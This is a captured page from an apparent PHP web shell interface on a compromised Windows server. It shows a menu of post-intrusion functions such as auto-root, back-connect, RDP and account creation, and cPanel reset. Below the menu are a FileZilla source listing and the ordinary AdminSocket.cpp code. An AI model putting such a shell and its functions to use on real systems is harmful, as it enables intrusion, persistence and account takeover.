Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
FileZillaFTP /
source /
interface /
[ HOME SHELL ]
Name
Size
Permission
Action
misc
[ DIR ]
drwxrwxrwx
res
[ DIR ]
drwxrwxrwx
AdminSocket.cpp
11.93
KB
-rw-rw-rw-
AdminSocket.h
2.15
KB
-rw-rw-rw-
ConnectDialog.cpp
3.33
KB
-rw-rw-rw-
ConnectDialog.h
2.2
KB
-rw-rw-rw-
DeleteGroupInUseDlg.cpp
2.21
KB
-rw-rw-rw-
DeleteGroupInUseDlg.h
1.57
KB
-rw-rw-rw-
EnterSomething.cpp
2.91
KB
-rw-rw-rw-
EnterSomething.h
2.27
KB
-rw-rw-rw-
FileZilla Server Interface.vcp...
46.3
KB
-rw-rw-rw-
FileZilla server.cpp
6.09
KB
-rw-rw-rw-
FileZilla server.h
2.37
KB
-rw-rw-rw-
FileZilla server.rc
66.64
KB
-rw-rw-rw-
GenerateCertificateDlg.cpp
3.22
KB
-rw-rw-rw-
GenerateCertificateDlg.h
1.39
KB
-rw-rw-rw-
GroupsDlg.cpp
13.45
KB
-rw-rw-rw-
GroupsDlg.h
3.1
KB
-rw-rw-rw-
GroupsDlgGeneral.cpp
5.01
KB
-rw-rw-rw-
GroupsDlgGeneral.h
2.64
KB
-rw-rw-rw-
GroupsDlgIpFilter.cpp
3.94
KB
-rw-rw-rw-
GroupsDlgIpFilter.h
2.36
KB
-rw-rw-rw-
GroupsDlgSharedFolders.cpp
18.15
KB
-rw-rw-rw-
GroupsDlgSharedFolders.h
3.51
KB
-rw-rw-rw-
GroupsDlgSpeedLimit.cpp
14.94
KB
-rw-rw-rw-
GroupsDlgSpeedLimit.h
3.38
KB
-rw-rw-rw-
MainFrm.cpp
35.15
KB
-rw-rw-rw-
MainFrm.h
5.65
KB
-rw-rw-rw-
NewUserDlg.cpp
2.68
KB
-rw-rw-rw-
NewUserDlg.h
2.18
KB
-rw-rw-rw-
OfflineAskDlg.cpp
2.05
KB
-rw-rw-rw-
OfflineAskDlg.h
2.06
KB
-rw-rw-rw-
Options.cpp
8.67
KB
-rw-rw-rw-
Options.h
2.18
KB
-rw-rw-rw-
OptionsAdminInterfacePage.cpp
7.01
KB
-rw-rw-rw-
OptionsAdminInterfacePage.h
2.58
KB
-rw-rw-rw-
OptionsAutobanPage.cpp
3.75
KB
-rw-rw-rw-
OptionsAutobanPage.h
2.14
KB
-rw-rw-rw-
OptionsCompressionPage.cpp
3.42
KB
-rw-rw-rw-
OptionsCompressionPage.h
1.41
KB
-rw-rw-rw-
OptionsDlg.cpp
10.44
KB
-rw-rw-rw-
OptionsDlg.h
3.05
KB
-rw-rw-rw-
OptionsGSSPage.cpp
2.32
KB
-rw-rw-rw-
OptionsGSSPage.h
2.1
KB
-rw-rw-rw-
OptionsGeneralIpbindingsPage.c...
1.78
KB
-rw-rw-rw-
OptionsGeneralIpbindingsPage.h
1.33
KB
-rw-rw-rw-
OptionsGeneralPage.cpp
4.98
KB
-rw-rw-rw-
OptionsGeneralPage.h
2.41
KB
-rw-rw-rw-
OptionsGeneralWelcomemessagePa...
3.5
KB
-rw-rw-rw-
OptionsGeneralWelcomemessagePa...
2.45
KB
-rw-rw-rw-
OptionsIpFilterPage.cpp
3.15
KB
-rw-rw-rw-
OptionsIpFilterPage.h
2.3
KB
-rw-rw-rw-
OptionsLoggingPage.cpp
4.91
KB
-rw-rw-rw-
OptionsLoggingPage.h
2.49
KB
-rw-rw-rw-
OptionsMiscPage.cpp
3.78
KB
-rw-rw-rw-
OptionsMiscPage.h
2.33
KB
-rw-rw-rw-
OptionsPage.cpp
2.03
KB
-rw-rw-rw-
OptionsPage.h
2.27
KB
-rw-rw-rw-
OptionsPasvPage.cpp
5.96
KB
-rw-rw-rw-
OptionsPasvPage.h
2.51
KB
-rw-rw-rw-
OptionsSecurityPage.cpp
3.48
KB
-rw-rw-rw-
OptionsSecurityPage.h
2.39
KB
-rw-rw-rw-
OptionsSpeedLimitPage.cpp
12
KB
-rw-rw-rw-
OptionsSpeedLimitPage.h
3.35
KB
-rw-rw-rw-
OptionsSslPage.cpp
6.76
KB
-rw-rw-rw-
OptionsSslPage.h
1.76
KB
-rw-rw-rw-
OutputFormat.cpp
792
B
-rw-rw-rw-
OutputFormat.h
178
B
-rw-rw-rw-
SpeedLimitRuleDlg.cpp
5.04
KB
-rw-rw-rw-
SpeedLimitRuleDlg.h
2.46
KB
-rw-rw-rw-
StatusCtrl.cpp
10.46
KB
-rw-rw-rw-
StatusCtrl.h
2.81
KB
-rw-rw-rw-
StatusView.cpp
2.95
KB
-rw-rw-rw-
StatusView.h
2.39
KB
-rw-rw-rw-
StdAfx.cpp
1.03
KB
-rw-rw-rw-
StdAfx.h
2.77
KB
-rw-rw-rw-
UsersDlg.cpp
13.17
KB
-rw-rw-rw-
UsersDlg.h
3.26
KB
-rw-rw-rw-
UsersDlgGeneral.cpp
8.51
KB
-rw-rw-rw-
UsersDlgGeneral.h
2.78
KB
-rw-rw-rw-
UsersDlgIpFilter.cpp
3.88
KB
-rw-rw-rw-
UsersDlgIpFilter.h
2.34
KB
-rw-rw-rw-
UsersDlgSharedFolders.cpp
17.95
KB
-rw-rw-rw-
UsersDlgSharedFolders.h
3.45
KB
-rw-rw-rw-
UsersDlgSpeedLimit.cpp
15.4
KB
-rw-rw-rw-
UsersDlgSpeedLimit.h
3.36
KB
-rw-rw-rw-
UsersListCtrl.cpp
24.46
KB
-rw-rw-rw-
UsersListCtrl.h
3.54
KB
-rw-rw-rw-
UsersView.cpp
2.83
KB
-rw-rw-rw-
UsersView.h
2.37
KB
-rw-rw-rw-
resource.h
14.1
KB
-rw-rw-rw-
splitex.cpp
10.85
KB
-rw-rw-rw-
splitex.h
1.4
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminSocket.cpp
// FileZilla Server - a Windows ftp server // Copyright (C) 2002-2004 - Tim Kosse <tim.kosse@gmx.de> // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // AdminSocket.cpp: Implementierung der Klasse CAdminSocket. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "AdminSocket.h" #include "MainFrm.h" #include "../iputils.h" #include "../OptionTypes.h" #include "../platform.h" #include "../misc\md5.h" ////////////////////////////////////////////////////////////////////// // Konstruktion/Destruktion ////////////////////////////////////////////////////////////////////// #define BUFSIZE 4096 CAdminSocket::CAdminSocket(CMainFrame *pMainFrame) { ASSERT(pMainFrame); m_pMainFrame = pMainFrame; m_pRecvBuffer = new unsigned char[BUFSIZE]; m_nRecvBufferLen = BUFSIZE; m_nRecvBufferPos = 0; m_nConnectionState = 0; m_bClosed = FALSE; } CAdminSocket::~CAdminSocket() { delete [] m_pRecvBuffer; for (std::list<t_data>::iterator iter=m_SendBuffer.begin(); iter!=m_SendBuffer.end(); iter++) delete [] iter->pData; } void CAdminSocket::OnConnect(int nErrorCode) { if (!nErrorCode) { if (!m_nConnectionState) { m_pMainFrame->ShowStatus(_T("Connected, waiting for authentication"), 0); m_nConnectionState = 1; } m_pMainFrame->OnAdminInterfaceConnected(); } else { m_pMainFrame->ShowStatus(_T("Error, could not connect to server"), 1); Close(); } } void CAdminSocket::OnReceive(int nErrorCode) { if (nErrorCode) { m_pMainFrame->ShowStatus(_T("OnReceive failed, closing connection"), 1); Close(); return; } if (!m_nConnectionState) { m_pMainFrame->ShowStatus(_T("Connected, waiting for authentication"), 0); m_nConnectionState = 1; } int numread = Receive(m_pRecvBuffer + m_nRecvBufferPos, m_nRecvBufferLen - m_nRecvBufferPos); if (numread > 0) { m_nRecvBufferPos += numread; if (m_nRecvBufferLen-m_nRecvBufferPos < (BUFSIZE/4)) { unsigned char *tmp = m_pRecvBuffer; m_nRecvBufferLen += BUFSIZE; m_pRecvBuffer = new unsigned char[m_nRecvBufferLen]; memcpy(m_pRecvBuffer, tmp, m_nRecvBufferPos); delete [] tmp; } } if (!numread) { Close(); return; } else if (numread == SOCKET_ERROR) { if (WSAGetLastError() != WSAEWOULDBLOCK) { Close(); return; } } while (ParseRecvBuffer()); } void CAdminSocket::OnSend(int nErrorCode) { if (nErrorCode) { Close(); return; } if (!m_nConnectionState) return; while (!m_SendBuffer.empty()) { t_data data = m_SendBuffer.front(); int nSent = Send(data.pData + data.dwOffset, data.dwLength - data.dwOffset); if (!nSent) { Close(); return; } if (nSent == SOCKET_ERROR) { if (WSAGetLastError()!=WSAEWOULDBLOCK) Close(); return; } if ((DWORD)nSent < (data.dwLength - data.dwOffset)) data.dwOffset += nSent; else { m_SendBuffer.pop_front(); delete [] data.pData; } } } void CAdminSocket::Close() { if (m_nConnectionState) m_pMainFrame->ShowStatus(_T("Connection to server closed."), 1); m_nConnectionState = 0; if (!m_bClosed) { m_bClosed = TRUE; m_pMainFrame->PostMessage(WM_APP + 1, 0, 0); } } BOOL CAdminSocket::ParseRecvBuffer() { DWORD len; switch (m_nConnectionState) { case 1: { if (m_nRecvBufferPos<3) return FALSE; if (m_pRecvBuffer[0] != 'F' || m_pRecvBuffer[1] != 'Z' || m_pRecvBuffer[2] != 'S') { CString str; str.Format(_T("Protocol error: Unknown protocol identifier (0x%d 0x%d 0x%d). Most likely connected to the wrong port."), (int)m_pRecvBuffer[0], (int)m_pRecvBuffer[1], (int)m_pRecvBuffer[2]); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } if (m_nRecvBufferPos < 5) return FALSE; len = m_pRecvBuffer[3] * 256 + m_pRecvBuffer[4]; if (len != 4) { CString str; str.Format(_T("Protocol error: Invalid server version length (%d)."), len); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } if (m_nRecvBufferPos < 9) return FALSE; int version = (int)GET32(m_pRecvBuffer + 5); if (version != SERVER_VERSION) { CString str; str.Format(_T("Protocol warning: Server version mismatch: Server version is %d.%d.%d.%d, interface version is %d.%d.%d.%d"), (version >> 24) & 0xFF, (version >> 16) & 0xFF, (version >> 8) & 0xFF, (version >> 0) & 0xFF, (SERVER_VERSION >> 24) & 0xFF, (SERVER_VERSION >> 16) & 0xFF, (SERVER_VERSION >> 8) & 0xFF, (SERVER_VERSION >> 0) & 0xFF); m_pMainFrame->ShowStatus(str, 1); } if (m_nRecvBufferPos<11) return FALSE; len = m_pRecvBuffer[9] * 256 + m_pRecvBuffer[10]; if (len != 4) { CString str; str.Format(_T("Protocol error: Invalid protocol version length (%d)."), len); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } if (m_nRecvBufferPos<15) return FALSE; version = (int)GET32(m_pRecvBuffer + 11); if (version != PROTOCOL_VERSION) { CString str; str.Format(_T("Protocol error: Protocol version mismatch: Server protocol version is %d.%d.%d.%d, interface protocol version is %d.%d.%d.%d"), (version >> 24) & 0xFF, (version >> 16) & 0xFF, (version >> 8) & 0xFF, (version >> 0) & 0xFF, (PROTOCOL_VERSION >> 24) & 0xFF, (PROTOCOL_VERSION >> 16) & 0xFF, (PROTOCOL_VERSION >> 8) & 0xFF, (PROTOCOL_VERSION >> 0) & 0xFF); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } memmove(m_pRecvBuffer, m_pRecvBuffer+15, m_nRecvBufferPos-15); m_nRecvBufferPos-=15; m_nConnectionState = 2; } break; case 2: if (m_nRecvBufferPos<5) return FALSE; if ((m_pRecvBuffer[0]&0x03) > 2) { CString str; str.Format(_T("Protocol error: Unknown command type (%d), closing connection."), (int)(m_pRecvBuffer[0]&0x03)); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } len = (int)GET32(m_pRecvBuffer + 1); if (len + 5 <= m_nRecvBufferPos) { if ((m_pRecvBuffer[0]&0x03) == 0 && (m_pRecvBuffer[0]&0x7C)>>2 == 0) { if (len<4) { m_pMainFrame->ShowStatus(_T("Invalid auth data"), 1); Close(); return FALSE; } unsigned char *p = m_pRecvBuffer + 5; unsigned int noncelen1 = *p*256 + p[1]; if ((noncelen1+2) > (len-2)) { m_pMainFrame->ShowStatus(_T("Invalid auth data"), 1); Close(); return FALSE; } unsigned int noncelen2 = p[2 + noncelen1]*256 + p[2 + noncelen1 +1]; if ((noncelen1+noncelen2+4) > len) { m_pMainFrame->ShowStatus(_T("Invalid auth data"), 1); Close(); return FALSE; } MD5 md5; if (noncelen1) md5.update(p+2, noncelen1); char* utf8 = ConvToNetwork(m_Password); if (!utf8) { m_pMainFrame->ShowStatus(_T("Can't convert password to UTF-8"), 1); Close(); return FALSE; } md5.update((const unsigned char *)utf8, strlen(utf8)); delete [] utf8; if (noncelen2) md5.update(p+noncelen1+4, noncelen2); md5.finalize(); memmove(m_pRecvBuffer, m_pRecvBuffer+len+5, m_nRecvBufferPos-len-5); m_nRecvBufferPos-=len+5; unsigned char *digest = md5.raw_digest(); SendCommand(0, digest, 16); delete [] digest; m_nConnectionState=3; return TRUE; } else if ((m_pRecvBuffer[0]&0x03) == 1 && (m_pRecvBuffer[0]&0x7C)>>2 == 0) { m_nConnectionState=3; m_pMainFrame->ParseReply((m_pRecvBuffer[0]&0x7C)>>2, m_pRecvBuffer+5, len); } else { CString str; str.Format(_T("Protocol error: Unknown command ID (%d), closing connection."), (int)(m_pRecvBuffer[0]&0x7C)>>2); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } memmove(m_pRecvBuffer, m_pRecvBuffer+len+5, m_nRecvBufferPos-len-5); m_nRecvBufferPos-=len+5; } break; case 3: if (m_nRecvBufferPos < 5) return FALSE; int nType = *m_pRecvBuffer & 0x03; int nID = (*m_pRecvBuffer & 0x7C) >> 2; if (nType > 2 || nType < 1) { CString str; str.Format(_T("Protocol error: Unknown command type (%d), closing connection."), nType); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } else { len = (unsigned int)GET32(m_pRecvBuffer + 1); if (len > 0xFFFFFF) { CString str; str.Format(_T("Protocol error: Invalid data length (%u) for command (%d:%d)"), len, nType, nID); m_pMainFrame->ShowStatus(str, 1); Close(); return FALSE; } if (m_nRecvBufferPos < len+5) return FALSE; else { if (nType == 1) m_pMainFrame->ParseReply(nID, m_pRecvBuffer + 5, len); else if (nType == 2) m_pMainFrame->ParseStatus(nID, m_pRecvBuffer + 5, len); else { CString str; str.Format(_T("Protocol warning: Command type %d not implemented."), nType); m_pMainFrame->ShowStatus(str, 1); } memmove(m_pRecvBuffer, m_pRecvBuffer+len+5, m_nRecvBufferPos-len-5); m_nRecvBufferPos-=len+5; } } break; } return TRUE; } BOOL CAdminSocket::SendCommand(int nType) { t_data data; data.pData = new unsigned char[5]; data.pData[0] = nType << 2; data.dwOffset = 0; DWORD dwDataLength = 0; memcpy(data.pData + 1, &dwDataLength, 4); data.dwLength = 5; m_SendBuffer.push_back(data); do { data=m_SendBuffer.front(); int nSent = Send(data.pData+data.dwOffset, data.dwLength-data.dwOffset); if (!nSent) { Close(); return FALSE; } if (nSent == SOCKET_ERROR) { if (WSAGetLastError()!=WSAEWOULDBLOCK) { Close(); return FALSE; } return TRUE; } if ((DWORD)nSent < (data.dwLength-data.dwOffset)) data.dwOffset+=nSent; else { m_SendBuffer.pop_front(); delete [] data.pData; } } while (!m_SendBuffer.empty()); return TRUE; } BOOL CAdminSocket::SendCommand(int nType, void *pData, int nDataLength) { ASSERT((pData && nDataLength) || (!pData && !nDataLength)); t_data data; data.pData = new unsigned char[nDataLength+5]; data.pData[0] = nType << 2; data.dwOffset = 0; memcpy(data.pData + 1, &nDataLength, 4); if (pData) memcpy(data.pData+5, pData, nDataLength); data.dwLength = nDataLength + 5; m_SendBuffer.push_back(data); do { data=m_SendBuffer.front(); int nSent = Send(data.pData+data.dwOffset, data.dwLength-data.dwOffset); if (!nSent) { Close(); return FALSE; } if (nSent == SOCKET_ERROR) { if (WSAGetLastError()!=WSAEWOULDBLOCK) { Close(); return FALSE; } return TRUE; } if ((DWORD)nSent < (data.dwLength-data.dwOffset)) data.dwOffset += nSent; else { m_SendBuffer.pop_front(); delete [] data.pData; } } while (!m_SendBuffer.empty()); return TRUE; } BOOL CAdminSocket::IsConnected() { return m_nConnectionState == 3; } void CAdminSocket::OnClose(int nErrorCode) { Close(); } void CAdminSocket::DoClose() { m_bClosed = true; Close(); } bool CAdminSocket::IsLocal() { CString ip; UINT port; if (!GetPeerName(ip, port)) return false; return IsLocalhost(ip); }
Close